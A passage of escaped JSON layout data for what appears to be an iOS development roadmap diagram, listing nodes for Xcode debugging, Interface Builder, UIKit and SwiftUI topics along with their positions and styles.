\"odKZx4SUULF1y4gmiJZdu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1195.363878089629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YytdlQl41yrHSwlV-G3Pd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1246.6939041628711\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Project Files\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-4q7MFXaTmpR_39PTeWD8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1246.6939041628711\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"42sfiLKrVCcnMMjR7TFn1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1298.0239302361133\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Groups\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YytdlQl41yrHSwlV-G3Pd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -232.71010223307604,\n        \"y\": 1298.0239302361133\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QrpJVLpZAREAPOC29fAYy\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -450.65690513478063,\n        \"y\": 1412.2495392095361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugger\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"eSLBtgpPec2Jz_Sjn6f5x\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": -450.65690513478063,\n        \"y\": 1412.2495392095361\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"X0QavvwPVJU6sulafPVUK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1368.2495392095361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Breakpoints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FwwqAchMC6qdnXbqg45he\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1368.2495392095361\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VuWUsg05WmOoP_RJ5AXJO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1420.7495392095361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debug Navigator\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X0QavvwPVJU6sulafPVUK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1420.7495392095361\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hUHxlNa6iJJbDGdFNhynB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1474.7495392095361\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stepping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VuWUsg05WmOoP_RJ5AXJO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1474.7495392095361\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FAwW_a0smJ8HGlU3960jE\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -476.3234966364452,\n        \"y\": 1611.639237252708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interface Builder\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"QrpJVLpZAREAPOC29fAYy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": -476.3234966364452,\n        \"y\": 1611.639237252708\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"iMzYd8KUFnk6zqr4KecgX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1549.0721239475733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interface Builder\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"X0QavvwPVJU6sulafPVUK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1549.0721239475733\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tuUuLInq0p-nhehe2AqPg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1601.2123366167202\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IBOutlets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iMzYd8KUFnk6zqr4KecgX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1601.2123366167202\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FspN4yiBF9aEN7_SlXUe1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1653.352549285867\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IBActions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tuUuLInq0p-nhehe2AqPg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1653.352549285867\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j2BL0sf3WjnJZZWa7cCjy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1705.492761955014\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Auto layout\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FspN4yiBF9aEN7_SlXUe1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -231.54351073141146,\n        \"y\": 1705.492761955014\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-7OW2IgiMk1eot1PaYd7m\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 262.224381144193,\n        \"y\": 1162.2641963849399\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"UIKit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"la5M4VoH79bhnN8qj5Izp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 262.224381144193,\n        \"y\": 1162.2641963849399\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A1TFKVjGU5RbeTF_zxJlu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.5235851135475,\n        \"y\": 768.4044639907162\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FwwqAchMC6qdnXbqg45he\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 329.5235851135475,\n        \"y\": 768.4044639907162\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"se9w7mT1XJLGlmWUhH4Uv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.5235851135475,\n        \"y\": 820.9102687242172\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A1TFKVjGU5RbeTF_zxJlu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 329.5235851135475,\n        \"y\": 820.9102687242172\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mfWdkUm1RhjygtMyInXiD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.5235851135475,\n        \"y\": 873.4160734577182\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"View Controllers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"se9w7mT1XJLGlmWUhH4Uv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 329.5235851135475,\n        \"y\": 873.4160734577182\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GKuxilB0AwjcTgCSk3FeU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.5235851135475,\n        \"y\": 925.9218781912192\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"User Interactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mfWdkUm1RhjygtMyInXiD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 329.5235851135475,\n        \"y\": 925.9218781912192\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0o3V_zveN1xCIt7rayrCF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1054.5569944255924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A1TFKVjGU5RbeTF_zxJlu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1054.5569944255924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a2CqrCJSxGfHq6_Y9f_re\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1108.5569944255924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Storyboards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0o3V_zveN1xCIt7rayrCF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1108.5569944255924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"RwvC4Pi18_1phcrJL-9iu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1162.5569944255924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Xibs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"a2CqrCJSxGfHq6_Y9f_re\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1162.5569944255924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FXUrfyvuIIOH7VDnT_E0z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1216.5569944255924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RwvC4Pi18_1phcrJL-9iu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1216.5569944255924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cwVcNDTBBulBY2m4Wzn4G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1270.5569944255924\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"View Transitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FXUrfyvuIIOH7VDnT_E0z\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 482.9595680403212,\n        \"y\": 1270.5569944255924\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kAIKsDcDzwI1E0wSnC_uo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 37.879904639968345,\n        \"y\": 1444.2782608489113\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SwiftUI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-7OW2IgiMk1eot1PaYd7m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 37.879904639968345,\n        \"y\": 1444.2782608489113\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dREH4cc39Y1bdc3LWj3kP\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 64.37990463996834,\n        \"y\": 1348.037202592816\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"lEWdeQDhlLQaDqsqHNFCr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 64.37990463996834,\n        \"y\": 1348.037202592816\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"QVg4_8EXeQBJbleryy8c1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1090.3737998699025\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Declarative Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"A1TFKVjGU5RbeTF_zxJlu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1090.3737998699025\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xkH7Llut6uP2-8iTMw76F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1146.363878089629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QVg4_8EXeQBJbleryy8c1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1146.363878089629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RvyOkQelc-GChQGJyEx72\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1201.363878089629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"State Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xkH7Llut6uP2-8iTMw76F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1201.363878089629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yR94uHs0SiSScU4gPBzfr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1256.363878089629\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data binding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RvyOkQelc-GChQGJyEx72\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1256.363878089629\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"INYUFVZ-_4htveLZ6EvRu\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 10.879904639968345,\n        \"y\": 1539.0721239475733\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Simple UI Building\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"dREH4cc39Y1bdc3LWj3kP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 59,\n      \"positionAbsolute\": {\n        \"x\": 10.879904639968345,\n        \"y\": 1539.0721239475733\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 59\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 59\n      }\n    },\n    {\n      \"id\": \"YvuYJceeNNfLBpq2-3iiL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1632.139237252708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QVg4_8EXeQBJbleryy8c1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1632.139237252708\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mgUCYztUpKINqIZikT4Bh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1687.139237252708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Views and Modifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YvuYJceeNNfLBpq2-3iiL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1687.139237252708\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"02VAK4GMkN6nDHf1zqwPA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1742.139237252708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Navigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mgUCYztUpKINqIZikT4Bh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1742.139237252708\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2tmR1yE5daz2HB4IV5qwI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1797.139237252708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"View Transitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"02VAK4GMkN6nDHf1zqwPA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 12.879904639968345,\n        \"y\": 1797.139237252708\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZGnWzU8SwucATFNOwfCO6\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 400.59145195251654,\n        \"y\": 1435.7782608489113\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interfaces and Navigation\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"1AtH8yhL6W4S9eYZBaCHL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 277,\n      \"height\": 66,\n      \"positionAbsolute\": {\n        \"x\": 400.59145195251654,\n        \"y\": 1435.7782608489113\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 277,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 277,\n        \"height\": 66\n      }\n    },\n    {\n      \"id\": \"4fPgpGwNXmVoZoruBRb_B\",\n      \"type\": \"topic\",\n      \"position\": 